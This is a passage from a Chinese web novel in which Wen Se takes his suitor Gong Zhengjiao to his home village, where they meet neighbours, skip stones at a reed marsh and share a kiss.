他煞有介事地目光在闻璱和闻母之间来回跳跃,暗示闻母一定要深究这个问题。 闻母却对他吩咐:“你抹布洗完了吗?洗完了把我这个也洗一下。” 洗干净也是闻母为了帮逄靥星一起打扫卫生用,逄靥星无法拒绝,只能乖乖去了。 他走之后,闻母才压低声音问:“你跟我说,是不是真的有点什么情况?” 其实这对逄靥星的听力来说完全是掩耳盗铃,闻璱没戳穿,也没压低声音,很平静地说:“目前,还不算是很有。” “目前?” “目前,还是朋友。”闻璱说,“但他可以继续努力一下。” “努力一下,你这话说的。”闻母有点无语,“关键是你喜不喜欢?都带人家回家了,喜欢就答应下来呗。” “喜欢、带回来就一定要立刻答应吗?我们家又不是民政局,专门用来登记的。”闻璱反驳。 “……说不过你。”闻母投降,钻进逄靥星的房间帮忙做卫生去。 闻璱跟在她身后说:“他给你准备了礼物。” “来就来了,还带什么礼物呀。”闻母一乐,但也没反驳,按照刻板印象,随口问,“燕窝、牛奶、美容仪?” “不是。”闻璱沉默了片刻,“明天你就知道了,我只是提前跟你说一声,他……他是个散财童子,他要送你什么,你收下就是了,不用为难,也别在意价格,那对他来说跟燕窝牛奶美容仪也没什么差别。” “有多贵啊?”闻母有些惊讶。 但闻璱已转身上楼,打算回屋睡觉了,闻母只能叮嘱一声:“记得把头发吹干再睡!明天早点起来干活啊。” 闻璱临睡前,还听到闻母在楼下惊讶:“呦,辣椒酥啊,我尝一口——好辣!” 逄靥星又出来一边咳一边身残志坚地拱火:“某人给闻璱买的呗,腻歪死了。”。 翌日闻璱醒来时,竟然已是午后。 他的生物钟一向很稳定,也订了清早的闹钟,毕竟还要介绍弓铮皎和闻母认识,却没想到就这样突发夏乏,一觉睡过了头。 这还是头一次,他自觉有些不好意思,连忙收拾好洗漱下楼。 期间楼下人声不断,闻璱从窗台上望下去一眼,发现那声音的来源居然是弓铮皎——或者说,是围着弓铮皎的人群。 他正有些少有的茫然,就见人群里的弓铮皎突然抬头,冲他招了招手,并绽放一个阳光灿烂的微笑。 当然,很快又被拉回热闹的畅聊里。 小院到客厅来了好多人,都是镇上的邻居,不算面生,大家七嘴八舌,但中心大意相同: “小弓真是一表人才啊!” 闻母同样在人群中,得意得鼻子都快翘到天上去了,口中却还道:“哪里哪里,这不算什么。” 只需稍加思索,闻璱就明白为什么了。 看来那辆超级豪华的拖拉机不止俘获了闻母,甚至俘获了整个镇子。 看闻母现在拍着弓铮皎肩膀的样子,俨然已经如闻璱所说,完全把弓铮皎当第二个干儿子了。 弓铮皎也是,自如且开朗,完全不像昨天晚上那个门都不敢进的黄花大小夥。 闻璱没打扰那边拖拉机王子的社交大舞台,悄悄溜进厨房。 竈上果然还有温着的一份饭菜,荤素结合,闻璱挑着又素又红的,给自己盛了一份,还没端出去的功夫,院子里就渐渐静了下来。 下一刻,一只手接过闻璱刚刚准备好的饭菜,替他在餐桌上布置好。 弓铮皎说:“早安。是不是吵醒你了?对不起,已经让他们走了,你还可以回去再睡一会。” 他还体贴地替闻璱把椅子拉开,活像个周到的高档餐厅服务员,收餐费50%服务费的那种。 ……甚至闻璱猜想,他这副做派,或许就是曾经在高档餐厅被服务时学来的。 “不用这么客气,是我睡过了,抱歉。”闻璱说。 “不是客气,也不用你道歉。”弓铮皎说,“田里的活我也帮你干完了,反正你本来也没什么事,只要休息就好了。” 闻璱:“……” 弓铮皎的学习能力还是那么令人叹为观止,昨天一句“取悦我”,今天家里就突然闪现一个田螺小子。 但是,现在面对着弓铮皎的好意没什么好推诿的。 闻璱享受了一顿米其林三星级别的brunch服务,只不过餐食本身只是简单的食物,并没有什么花哨。 也为体贴的brunch管家提供了一份满足欣赏欲的景观。 早餐之后,弓铮皎在一层反覆徘徊,无所事事又好像坐立难安。 总不能是没活干了闲的。 闻璱瞟了两眼,见他总是若有若无地路过逄靥星房间门口,便问:“你找逄靥星有事?” “啊,嗯。”弓铮皎故作淡然,“也说不上有吧,就是觉得他真能睡懒觉。” 比闻璱还能睡——但闻璱睡懒觉是可遇不可求的偶然事件,值得更新在CRUSH日记里珍藏,逄靥星睡懒觉对弓铮皎来说就纯粹是耽误事了。 “他每次回家都要花些时间调整状态,现在应该没在睡觉。”闻璱道,“你可以直接进去叫他。” “那会不会不太好?”弓铮皎很刻意地问。 然而闻璱没回答,他也还是没什么心理负担地敲了敲门,在门外说:“逄靥星?你醒着没?我能进去一下吗?” 屋里果然传来逄靥星懒散的声音:“进。干嘛?” 弓铮皎拉开门闪身进屋,又光速把门带上了,心虚得不要太明显。 闻璱:“……” 虽然他不知道弓铮皎找逄靥星能有什么事,但看起来显然是什么不想让自己知道的小秘密。 当比格猫的比格成分大于猫时就是这样,三天不打上房揭瓦,幸好闻璱于管教上很有耐心。 屋里,逄靥星睡衣大敞地窝在床上,还没来得及问,就见弓铮皎脸色难看地捏住鼻子。 “我服了你这屋。”弓铮皎嫌弃道,“收收味。” 水盘镇连特种人都没出过几个,这幢房子也有些年份了,给逄靥星的房间加装隔音板已经是闻母的体贴入微,新风系统更是想都别想。 以至于弓铮皎被扑面而来的哨兵气味冲得很是不爽。 “你不至于吧。”逄靥星无语,“我已经很收着了,窗户也开着,哪有 什么味道?我就没闻到你的。” 弓铮皎瓮声瓮气地说:“那是因为我自爱。” 他对他人气味和精神力的感知都比逄靥星敏锐太多,当然也严于律己,把自己的气息收得很好,除非故意欺负人的时候,很少松懈。 但现在就是欺负人的时候。 弓铮皎稍加控制,便不再控制低自己,任由精神力冲上床,狠狠给了逄靥星的感官一拳,又光速收回精神力,作出无事发生的样子。 轮到逄靥星“咦惹”地皱着脸翻身下床,低声道:“你有病吗?大中午跑我房间来就为了给我一下?” 弓铮皎才道:“我来问你,你说的那个邻居呢?早上我跟全镇都聊过了,没试探出来是哪个啊。” “什么邻居?”逄靥星茫然。 “就那个,开闻璱玩笑的。” “?”逄靥星惊了,“你还记得呢?不是我说,闻璱自己估计都不记得了!” 弓铮皎一本正经地说:“当然记得,正义不会缺席,只会迟到。” “……可他已经搬走了。”逄靥星道,“至于搬哪去了,我也不知道,听说是之前走夜路掉沟里摔断腿,家人带着进城求医,后来再也没回来。” 弓铮皎有点失望,冷笑一声:“夜路有眼啊。” 但他还捏着鼻子,这狠话以如此夹子的腔调放出来,只让人觉得搞笑。 逄靥星:“……” 弓铮皎也没再说什么,转头就离开逄靥星的房间。 餐厅已不见闻璱的身影,弓铮皎正要上楼,抬眼正巧看见闻璱关门下楼。 闻璱换了一身更轻便的衣服,还收拾了个小包出来。 他把长发在脑后盘了个低丸子头,以便戴上草帽,防护得很全面。 很朴实无华的穿搭,但配上这张完全是朴实无华的反义词的脸蛋,让这一身有种意外的反差感。 唯一值得说道的是,闻璱在短袖外面添了一件很薄的外套,大概是用来防晒。 自认在穿搭上一向颇费心思的弓铮皎平生最无法欣赏的,就是这种防晒衣。在他眼里,这和把一个环保塑料袋套在身上没差。 但闻璱穿的话,就变成了好特别、好时尚的一款环保塑料袋。 至少弓铮皎是这么觉得的——看到的那一刻,他脑袋里彷佛有个灯泡“叮”地一声:农民小鹅套装已解锁。 此套装比去宴会的那身漂亮穿搭还让弓铮皎喜欢,因为这一身完全是闻璱的个人行为,尽管以闻璱的性格,大概率只考虑了实用性。 闻璱微微一笑:“我猜镇上你已经逛过了,我带你去个地方。” 第68章 我想舔你眼睛。 闻璱看了看弓铮皎的穿搭:好笔挺的白衬衫,搭配长裤,帆布鞋,版型都有些传统。 不过同样,再传统的衣服都耐不住穿的人是个活衣架子,再亲民的穿搭,都能穿成“俺们村唯一的大明星”的效果,难怪对镇上邻居有特攻。 但实在不适合上山。 “你要去换身衣服吗?外面很晒,河边还会有蚊虫泥巴。”闻璱指了指客厅角落的小储藏室,“家里有多余的帽子和防晒衣,不过都是旧的。” “要,要!”弓铮皎当然不会错过这个“情侣装”机会。 只可惜,叫他失望了,闻璱那一身是闻璱专属的,和储藏室里的其它草帽、环保塑料袋都不同款。 况且,这些衣物整日挂在储藏室里,哪怕闻母一向爱干净,都清洗过,时间长了,也难免沾上挥之不去的尘气。 弓铮皎屏住呼吸,挑了身和闻璱还算搭配的装备套上了。 再出门时,闻璱看着他眨了眨眼,缓缓道:“笨。” 弓铮皎:? “该用的时候不用,不该用的时候瞎用,说的就是你。”闻璱淡淡评价,“你护手霜呢?为什么现在不涂一点?” 弓铮皎恍然大悟,连忙又上楼把护手霜揣上了。 他还在代偿期,来水盘镇之前,每次心里胡思乱想时多少要涂一点,就像是某种安抚剂。 而现在,护手霜的香气果然又唤醒了他的某种功能,起到了闻璱向导素的同等效果,让他鼻息之间尽是花果香,旧衣服的异味变得不值一提。 闻璱又在院子里挑了个蒲筐让弓铮皎拎着,顺手柄小黑从窝里挖出来放了进去。 小黑叼着自己的毯子死活不松口,闻璱只好给它盖上,活脱脱像是个野餐篮里的大面包。 临走前,弓铮皎抄了一把巨大的遮阳伞拄着。 出门之后,一路上收获了堪称真正的大明星返乡的效果,地里的邻居多有打招呼的,但是是对弓铮皎,反而闻璱成了捎带的那个。 毕竟漂亮小鹅再不常见,乡里邻居也见了这么多年,但出手阔绰的拖拉机王子还是头一回出现。 更何况这还是个拖拉机王子如此绅士且活力四射,早起就把地里的活干了个七七八八,顺手帮了不少邻居的农活,赢得一片赞赏。 没走出二里地,还遇到一群在水田旁边疯玩的小孩,见了弓铮皎,领头的孩子王立刻喊了一声:“老大!” 顿时后面的小孩跟拷贝粘贴一样,响起一片“老大”的呼唤。 弓铮皎巡视过后,一本正经地跟他们点了点头。 孩子王的目光转向闻璱,竟然有些躲闪:“香蒲哥,你回来了……” 闻璱跟他打了个招呼,随口问:“怎么了?” “我……”孩子王支支吾吾地大声说,“对不起!香蒲哥!我不能娶你了!” 闻璱:“……?” 孩子王道:“老大跟我说,我们要先有事业才能成家,我已经决心要先修炼自己了!” 身后小孩补充:“我们也是!” 闻璱有些无语地回头看弓铮皎。 而弓铮皎煞有介事地点了点头,认可道:“没错!去玩吧你们。” 一群小孩又乌泱乌泱地跑走继续玩去了。 “你干了什么?” 弓铮皎倒是一派坦然:“早上起床没事干,刚好遇到他们几个在田里紧张得不行,我一听,说是在田里打水漂把作物伤到了。我就给他们遮掩了一下,然后上演一招什么叫石头的轻功水上漂。” 闻璱这才有点惊讶了:“你还会打水漂?” 弓铮皎理直气壮:“不会啊,但我有阿咬,她们又看不到。” 说着,弓铮皎随手捡起地上的一块石头,咻地弹进路边的水渠,只见那石头像子弹一样深深埋进土里,别说水漂了,□□还差不多。 这才是城里大少爷的真实水平。 “我就骗她们说,我得到了打水漂之神的眷顾,他们也要向我学习,先自我修炼,等以后闯荡出一番事业,打水漂之神也会眷顾她们。然后用阿咬帮他接了一下石头,他们就全都喊着我要做我的小弟小妹了。” 闻璱只是凉凉地看着他。 “好吧。”弓铮皎顶不住道,“还说在那之前不可以肖想你,因为香蒲哥是……是大哥的梦中情人,只有最强的人才配追求香蒲哥。” 闻璱很难说自己的尴尬是从何而起,他欲言又止了片刻,弓铮皎又道:“不过我都这么说了,还有人宁可不被水漂之神眷顾也要嫁给他香蒲哥的,那才是真的刺头。” “所以?” “所以我就告诉他家长,他把作物打坏了,他就被拎走挨骂了啊。” 闻璱:“……” 沉默良久,闻璱勉强敷衍道:“欺负小孩的手段倒是高明。” 弓铮皎眨了眨眼,说:“以前组队的时候,队友也是这么哄我的,套公式换个关键词就行了。” 这话让闻璱一时有些梗住,倒不是不好接,而是他敏锐地察觉到,自己心里居然冒出来几丝酸酸麻麻的怜爱来。 他明明知道弓铮皎是故意这么说的,即便如此,那感觉仍然挥之不去。 闻璱便轻笑了一声,意味不明:“至少你还挺受欢迎的。” 弓铮皎还以为这是要算他早起干活的账,连忙解释:“我只是想到这里是你家,是生养你的土地,就感觉有使不完的力,这点活对我来说也确实不算什么……倒不是为了博得他们的好感。” 他顿了顿,又补充道:“而且,我知道,这也没用,对吧?我也只是说,我是受过你帮助的朋友而已。” 可惜他还不知道,逄靥星昨晚就跟闻母把他的老底揭光了。 闻璱原本就并不因为这件事情生气,点了点头,又道:“但你还不知道,村里是没有秘密的,也不知道村里人一闲下来最爱干的事是什么。” “什么?” 当然是传八卦——弓铮皎今天跟这帮小孩说了这些话,下午整个镇子都会传遍,十里八村的媒人都不得不放弃给拖拉机王子牵线。 当然,也很可能会放弃给闻璱安排相亲。 闻璱才不相信这是完全的无心之举。 但说破就没意思了,他微微一笑,双眼微眯:“我不告诉你。” 相处久了,弓铮皎一看他这个表情,大概猜到闻璱又想玩弄自己了。 他怕自己按捺不住心里的期待和兴奋,连忙转移话题:“我们今天去哪来着?” 闻璱轻轻颔首:“去山脚下,但不是逄婆婆下葬的那座山。” 他突然摘下手套,对弓铮皎说:“伸手。” 弓铮皎依言照做。 但在手即将放在闻璱掌心前的一瞬,电光石火之间,他脑袋里突然冒出来上一次闻璱对他有关于“手”的命令。 光是号了号脉……他就膏炒了,爽得临走前浑身都发软。 而现在只是想起这件事,弓铮皎都觉得脊背里窜上一阵过电般的刺激感。 他的手微微一顿,然后紧紧握住了闻璱的手,似乎是想用这种方法来控制闻璱的“作案工具”,虽然他知道这并没有什么用。 “在外面呢,轻一点好不好。”弓铮皎小声说,“给我留点面子。” 闻璱:“……” 怜爱立刻无影无踪,他狠狠用力捏了一把弓铮皎的虎口,冷冷道:“你想多了,放开。” 弓铮皎只好又“啊”着松开手。 闻璱单手反握住弓铮皎,另一只手轻轻在弓铮皎掌心抹了抹,然后用指尖勾勒涂画起来。 “这是镇子,这是北山,山脚下这里就是湿地公园,虽然公园只有山脚那一片,但整座山都被划为自然保护区了,也归公园管。逄婆婆的墓地在这里,是山的的西面,通常不对外开放。镇子几乎在公园的山背面,公园的入口在这里,要去公园的话,不开车不行。” “所以我们现在要去的是东山。”闻璱指尖一动,“东山很矮,偶尔有游客会上山露营、采菌子,到现在每年都有人吃菌子中毒。” 他握着的那掌心已经微微颤抖,不知是触碰太轻而皮肤发痒,还是心里发痒。 “我小时候就经常在东山玩。”闻璱垂眸道,“你跟逄靥星打听的那个芦苇荡,就在那里。” “!”弓铮皎顿时暧昧全无,倒吸一口心虚的凉气,“你怎么知道?” “这很难猜吗?”闻璱反问。 “我……” 在道歉的话出口之前,闻璱用手指抵住了弓铮皎的嘴唇。 “没关系。”闻璱说,“但你想知道的话,可以直接来问我,而不是跟逄靥星打听。” 他抬眼,目光从弓铮皎的掌心,转向弓铮皎的眼睛。 几缕豆大的午后阳光从手编草帽的缝隙里漏出来,在他脸上印出几颗闪亮的星星。 闻璱眨了眨眼,睫毛便把一粒光担起来,叫人担心那粒金箔豆会不会碎掉、跌进桃色的眼瞳。 像蜂蜜流在桃子上。 弓铮皎突然说:“我想舔你眼睛。” 闻璱:? 他还以为按照这样发展,弓铮皎该问些什么——这不也是顺理成章的吗?为什么、怎么就突然转向这里了? 而且舔眼睛也太不卫生了,有点恶心。 闻璱面无表情:“不行。你怎么又想这些?” “好吧。”弓铮皎可怜巴巴地说,“我忍不住。” “那也不行。” 闻璱坚守底线,压了一下帽檐,扭头就走。 长长的系绳在他下巴上打了个小巧的蝴蝶结,两根尾巴便因这个动作而甩在弓铮皎肩头,似乎很可惜没能戳在弓铮皎的脊梁骨上。 弓铮皎很想解释点什么——他确实经常被色迷心窍,但这些冲动并不是每一次都指向性,有时他只是想把闻璱抱在怀里蹂躏,有时候他想含在嘴里咀嚼。 但这话说出来很难说不会让误会加深。 他只能跟上闻璱的步伐,没话找话起来:“说起来这里和我想像的还真不太一样,我不是说我觉得这里不好,只是来之前我查了,水盘镇前几年不是在做果园采摘那种形式的农家乐吗,我还以为这个季节游客会很多。没想到,现在好像都不做了?我刚刚帮忙的时候,发现大家基本上都有转门的工厂客户了,基本上就是统一采摘转运,很少接散客的生意呢。” “嗯。”闻璱点了点头,“三年多前,省会那边的大工厂把整个镇子的果园都承包了,一签就是好几年的合同,给的价钱也很不错,这样大家更轻松了赚得还多,就没人搞农家乐了。” “……”弓铮皎突然产生了一个微妙的猜测。 “那个工厂是做什么的,需要这么多荔枝?” “据说主要是精品鲜果,还有一些鲜榨果汁和果汁硬糖,专门开了几条生产线。”闻璱说,“不过好像确实没怎么在市面上见过产品,每年过年工厂那边发的礼包也没有包装,我也不知道品牌叫什么名字,回去问问妈妈。” 弓铮皎:“……” 不用问了,弓铮皎确信,那是自己之前投资的厂,后来也没转手出去,产品都供应给了希冕创辉和旗下各地公司,员工休息区、食堂和年终礼包里,总有这些产品。 因为品质上佳又不在市面上流通,前几年还在社交媒体上小火过一阵,当时宫烁就来问弓铮皎,考不考虑把这个做起来,被根本没这心思的弓铮皎婉拒了。 那时如果知道,就是这么巧地,他的其中一个工厂找到的果园就是闻璱的家…… 他是不是可以上演一番:“小美鹅,你也不想你家的荔枝都烂在树上吧?” 就算不舍得真的这样逼迫闻璱,这恶俗桥段仍然让弓铮皎一阵暗爽,以至于忍不住地笑出了声。 闻璱回头问:“怎么了?” “没有。”弓铮皎立刻收敛了笑意,把这大逆不道的心思藏得严严实实,生怕成为彭枭pro。 然而,闻璱定定地看了他两眼,缓缓道:“不会吧。” “什么?” “不会那个工厂也是你的吧,你在后悔没能对我强取豪夺吗?弓大老板。” 弓铮皎道貌岸然:“怎么可能?工厂虽然是我的,我不是那种人,我……” “嗯,你只会当散财童子。”闻璱稍微低下头,故意那样稍微抬起眼睫看他,声音轻得像羽毛。 “而且,你也不需要用那种手段。” 第69章 是求偶欲才对。 芦苇荡确实就在东山脚下,以快走的速度,足足花了三个多小时才走到。 将到时虽然还未至夕阳,但日头已然没那么烈。 荔枝的丰收季也恰好能赶上香蒲的花季,河边一片翠绿摇曳里,飘着一团团香肠一样的毛蜡烛,弓铮皎早就看到了。 也多亏了与湿地公园并不顺路,加上农家乐没做几年就放弃了,这片湿地的生态环境被保护得很好,河水清澈,还有几只不知谁家的大鹅在里面游泳。 闻璱摘下草帽,轻轻叹了一声。 刃齿虎是不畏寒却畏热的动物,一路上他替弓铮皎调理着感官防止中暑,自己却难免有些疲惫。 幸好闻璱体质一向不怎么出汗,弓铮皎却从包里有些心疼地替他擦起并不存在的汗来,嘴里念叨着:“早知道这么远就不来了,或者骑阿咬来多好。” 闻璱摇了摇头:“就是想试试,小时候我和逄靥星从镇上走到这里,几乎要大半天时间。” “那你们怎么回?走夜路吗?”才问完上一句,弓铮皎不知为何拐向另一个岔路口,“等等,所以你这么多年都没有再来过这里?是为了……” 是为了留着和我一起来吗? 这话问出来显得脸太大,但弓铮皎暂时想不到其它可能,兴奋得心脏砰砰跳。 “……这么远当然是开车来,只用半小时。”闻璱无语。 弓铮皎只能干笑:“是哦。” 他不好意思再问“那今天为什么不开车”,就听闻璱又说:“但我猜,你会想走我小时候走过的路。” 闻璱看他的眼神变得有些揶揄。 一紧一松,拨动弓铮皎的脑筋和心弦,就像风拨动水面一样轻易。 弓铮皎逃避式地用一张新的湿巾盖住了闻璱的眼睛。 很想做点什么。 奇异的是,闻璱竟然也没有躲闪,没有抬手扒拉开,只是很轻声地说:“现在不行。” 现在不行的意思是,以后会行吗? 可弓铮皎似乎明白了,不仅现在不是追问的好时候,以后也永远不会是。 就像刚才那句意味不明的话,闻璱一向如此,点到为止,他想让他们当下停留在这里,他们就只能停留在这里,无论他愿不愿意,这个暧昧的坐标注定要被丢弃在不见底的湖里。 或许曾经,弓铮皎还会试图做点什么刻舟求剑,现在却心甘情愿地按捺住心里那颗乱窜的小苗苗。 从一团火,变成一谭水,学着月亮引力进行微弱的潮汐效应,学着风的波纹律动呼吸。 他看着闻璱的脸,只是用指尖轻轻点了一下闻璱的鼻尖,那里明明什么也没有,光洁、干净。 随即他抽走盖住闻璱眼睛的湿巾,那睫毛抖了抖,再次睁开,果然是弯弯的,带着那一丝未去的揶揄笑意。 转过头去,几只大鹅纷纷靠近过来,倒没有任何攻击性,只是用颈部蹭蹭闻璱的腿,又扑腾上岸绕着弓铮皎转。 弓铮皎疑惑:“怎么了?” “它们是小黑的朋友。”闻璱说,“从小时候就是。” 弓铮皎连忙放下蒲筐掀开毯子。 小黑被强制开机,结果一睁眼,绕在身边的全是大鹅朋友,立刻扑腾着加入队形游远了。 “它们居然能看到。”弓铮皎有些惊讶。 其实动物通灵能看到人所不能看到的生物的说法存在已久,也确实有一定道理,城市里的许多宠物对精神体就比普通人更加敏锐,这也是特种人在普通人社区居住常常面临的困扰。 但通常来说,这些动物也只是有些意外的感知,而并不能像特种人一样清楚地看到、感受到精神体的存在。 不过,看那几只大鹅和小黑一起凫水玩耍的样子,似乎它们真能清晰地看到小黑一样。 闻璱点了点头:“或许是因为小黑第一次出现就是在这里?很神奇。” 弓铮皎装傻:“哈哈,原来是这样啊,那这真是个风水宝地。” 他说着,微微偏过脸,似笑非笑地睨了弓铮皎一眼,毫不留情地戳破:“你不是已经知道了,还想替我复仇吗?” 弓铮皎看天看草看鹅:“对不起。” “没要你道歉。”闻璱道,“因为那也不算什么仇,况且,他现在也已经得到报应了。逄靥星是不是跟你说,他断了一条腿,进城治病去了?” 弓铮皎面露不满:“是,他太轻易就治好了怎么办?你那时候才多大年纪,就算真的说胡话,他有必要还编什么童谣说你有病吗?我看他倒是欠点精神病史,我可以给他补上。” “确实有这个必要。”闻璱却道,“天鹅是二级保护动物,这周边所有的天鹅都在北山保护区,每一只都有编号,出现在村子里的话,确实需要严肃对待。” “啊?”弓铮皎更不理解了,“那他不更应该相信你,然后找到天鹅吗?” 闻璱微微一笑:“除非他真的偷猎了一只野生天鹅准备卖掉。” 弓铮皎想破头也没想到,剧情居然会是这个展开,不禁又“啊”了一声。 “我妈妈本来是去找他吵架的,后来发现这件事,就把他给举报了。他半夜想提前把天鹅处理掉的时候,被埋伏的我妈一顿暴揍,然后……他就扭伤了脚。他被人赃并获,据说这还不是第一次了,罚款不说还喜提好几年牢饭,现在就算出来了,应该也没脸回镇上了吧。” “那逄靥星说……” “当然是骗他的。”闻璱眨了眨眼睛,“总不能这样教小孩。” “那你为什么知道?” “因为我和我妈一起去的。” 弓铮皎:“……” 好漫长的沉默,最终,弓铮皎鼓掌:“Bravo!” “谢谢。” “所以说,别问他,他很笨,比你更笨,而且,他其实不是那么懂我。”闻璱又说。 弓铮皎只有点头。 他学着闻璱的样子在河边坐下,有些拘谨,有些端正。 而闻璱伸手捞水,作势要崩弓铮皎一脸。 这一招早在酒庄的喷泉边,闻璱就用过一次,效果绝佳,因而这一次,弓铮皎并不躲避,只是低垂了眼眸。 然而意料之中的水迟迟没有到来,却看见眼前的湖水泛起涟漪。 他转头一看,发现闻璱居然已经脱了鞋,从包里拿出塑料袋分别套在脚上,排空空气之后,在小腿上打了一个结。 然后,闻璱把脚伸进河里,舒了一口气:“好凉。” 弓铮皎有种意料之外又情理之中的感觉。 他就说,就算水质看起来再好,闻璱也不像是会放任自己直接暴露其中的人。 洁癖人士的泡脚,保护自己,也保护环境,合理,但有种诡异的亲民与微妙的矜贵感相结合感。 闻璱又递来另另外的新塑料袋,问他:“试试?” 弓铮皎本来兴趣不大,这一下才算是有点兴趣,接过来,学着闻璱的样子也把脚套上塑料袋放进河里。 嗯,没什么特别的,和弓铮皎家的豪华泡脚桶根本没法比。 但是在家闻璱跟他还挺有距离的,在这里闻璱却会跟他一起泡脚,湖这么大,四舍五入算一个桶,还是赚了。 弓铮皎也说不清这算不算是想入非非。 闻璱四下张望着,倏地靠了过去,在离弓铮皎只有几乎几厘米的位置堪堪停下。 他静静地欣赏着咫尺之间的另一双眼眸,看它从沉静的星空变成宇宙大爆炸的混乱。 然后——他伸手从弓铮皎的另一侧,捡起一块扁扁的石头。 “这块石头不错,我教你打水漂。”他把那块石头在弓铮皎眼前展示了一下,“记得要选这种比较扁的石头才好,你那块石头,换我妈来都漂不起来,也就能骗骗小孩。” 弓铮皎:“……” 他有点失望,但似乎不该失望,还是打起精神专注于教学。 “你看。”闻璱说着,稍侧过身,沉下手臂,又专门给弓铮皎展示了握石头的手势。 下一刻他猛地旋身,石头在距水面不远的高度弹射而出,在水面上轻盈地弹跳了七八下,没入芦苇丛中,看不清了。 弓铮皎却又定定地看了几秒,才道:“十二下,厉害。如果没有芦苇,可能还能再弹几次。” 闻璱也有些惊讶,他其实也没太用心学过,又好多年没玩了,这结果比他料想的要好。 弓铮皎站起身,在湖边水还算浅的局域巡逻起来,按照闻璱刚刚的要求查找石头。 没一会儿,他握着两大把扁石片满载而归,坐了回来。 每一块石头都被他模仿着闻璱刚才的手势,在手里握了握,但都没有立刻弹出手,而是放成了几小堆,似乎还根据个人手感喜好和美观程度进行了分类。 他一直微微抿着唇,认真得像是在做试题,不像是玩石头。 闻璱看了他几眼,没过多干涉,只随口指点了两句:“这几块不太行,形状不太对,太尖锐。” 弓铮皎很听话,立刻把那一组都撂了,后来也尽可能避免同类石头。 分类之后是挨个实验、练习,倒是也运气很好地,第一块石头就弹了五下,只不过后来就又不太行了,平均成绩在三下左右,离获得打水漂之神的眷顾还远得很。 他一脸认真,闻璱看得有趣,伸手道:“再给我一个。” 弓铮皎默不作声地挑了一块格外漂亮光滑的石头放在闻璱掌心。 闻璱便再次为他示范,这一次,甚至用肩膀粘贴弓铮皎的身体,又主动把手臂送了上来,解释道:“注意发力,还有脱手前手指拨动石头的角度。” 果然,弓铮皎脸色一阵发红,但居然还是什么也没说,诚恳又认真地点了点头。 这倒奇了。 闻璱把那石头弹出去,又弹跳了七八下才沉进水中,算是闻璱的正常水平。 但他一直看着弓铮皎——这是头一回,弓铮皎居然完全不被什么情情爱爱和美色所迷惑,一心扑在“事业”上,简直是离奇。 他忍不住含笑道:“胜负欲这么强?” 连暧昧都能当场抛到脑后。 弓铮皎的耳朵被这话调笑得更是烧成了烙铁,他张了张嘴,煞有介事地反驳:“不是胜负欲,输给你没关系。” “哦?”闻璱的语气并不太信,只当弓铮皎在嘴硬。 弓铮皎再次按照闻璱的示范摆出相似的动作,手臂发力,将石块弹出手。 不同于之前还稍微控制着力道,这一下可以说是解开封印,那石头飞出去的速度不像打水漂,更像机关枪的子弹,在水面上弹出来一串密密麻麻地弧线。 闻璱惊讶地鼓了鼓掌:“开窍了。” 弓铮皎眉梢眼角都染上得意:“三十五下。” 有了这“倍杀”的战绩,弓铮皎这才放下架子,也不再掩饰越来越发烫的脸。 他侧过脸看着闻璱,神情认真,又有一丝隐隐的忸怩,声音甚至故意压低了一线:“你之前说过,要开屏就要开个漂亮的。” “所以,真的不是胜负欲,是……求偶欲。” 话音落下的同时,天边粉紫色的夕光里,正好掠过一只天鹅优雅的黑影。 第70章 咬好,别松。 一阵恰到好处的风拂过湖面,漾起同频的心波。 “那好吧。”闻璱突然说,“现在可以。” 现在可以? 好没头没尾的话,在弓铮皎的脑袋里横冲直撞,创得一切都一团糟之后,阴差阳错地找到了方向。 他生怕闻璱又收回这个许可,立刻凑上前,却不像之前他说的那样去舔舐闻璱的眼睛。 氛围很好,时机也很好,更何况闻璱语焉不详…… 他可以做点别的什么吗? 呼吸交缠之间,闻璱看出他的目标从自己的眼睛逐渐下移,猜到了他的意图。 但闻璱什么也没说,仍然缓缓闭上了眼睛。 于是,一个真正意义上的吻就此开始。 不同的是,这一次,闻璱“忘了”解开止咬器的扣链。 他是在舌尖探进弓铮皎口中时,才后知后觉地想起来这件事。 在理智作出正确的判断之前,他放任了自己的欲望,用灵巧的舌尖勾起那根炙热的链条。 纤细的金属链看似连接的只是虎牙和舌根,却彷佛有一根看不见的线从喉咙一路下去,钉在弓铮皎的心房,让他一瞬间心脏狂跳。 弓铮皎控制不住地闷哼一声,甚至忍不住揉捏了一下闻璱的脸。 其实弓铮皎总是喜欢在接吻时抚摸闻璱下颌那薄薄的一层皮肉,力度不大,若有若无,更像是摩挲。 今天是第一次失手,对闻璱来说,痛倒是不算很痛。 但闻璱故意用虎牙磨了磨弓铮皎的舌尖,又微微用力,直到真的尝到一丝很淡的铁锈味。 弓铮皎的舌尖破了,但伤口出现的位置并不是第一次被这样对待,上一次造成创伤的,是弓铮皎自己的牙齿。 疼痛让弓铮皎本能地想要逃跑,但舌尖只是一顶,又被强行送回闻璱齿尖共舞。 上一次闻璱就说过的,棉花球,咬好,别松。 弓铮皎一直记得很清楚。 听话总是令人顺心。 闻璱便抬起手,也同样揽住弓铮皎,一只若有若无地扣在颈间,揉搓敏感的喉结,另一只手则按在弓铮皎的大腿上,让肌肉光速充血升温。 自从惊鸿一瞥闻璱拟态融合的那晚之后,类似“揉搓”的动作总是会唤醒弓铮皎的 特定记忆,让他过分敏感。 果然,他立刻惊惶失措地松开手,却又怕这动作让闻璱误会。 舌尖还在共舞,弓铮皎的手则鬼鬼祟祟地从脖颈轻一路克制地拂过闻璱的脖颈、锁骨、肩胛。 他知道其实这些动作并无意义,因为主动权总是掌握在闻璱手中,却还是有时忍不住想做点什么,彷佛这样就能让闻璱停留在自己的掌心怀中。 最终,阴差阳错地停留在闻璱后背。 一个很适合在吻结束之后,顺理成章地把闻璱扣进怀里的位置。 他也确实这么做了。 唇瓣分开之后,有两只耳朵悄无声息地变成了毛茸茸的虎耳,闻璱低低地笑了两声。 他毕竟没有哨兵的体能,也不像弓铮皎这样擅长闭气,因而从喉头滚出的气息稍显淩乱。 这对弓铮皎的状态来说宛如催化剂,绝不能算是很好的消息——但弓铮皎不仅要听,还要烈火烹油地听,要拟态融合以便听得更清楚。 闻璱便故意捏了捏其中一只耳朵,那本来绷着劲的耳朵陡然软下来。 “所以我说,你好像更懂我一点。”他突然说。 懂什么呢?弓铮皎还没来得及思考这个问题,就被闻璱在兽耳上印下一个很轻的吻。 闻璱嘴唇微动:“你知道,我说‘可以’的意思。” 他明白闻璱什么时候会许可一个吻。 这简直是爱情魔药级别的——弓铮皎本就还没从上一个吻里完全找回理智,就险些因这话而掀起一波新的爱与欲的海潮。 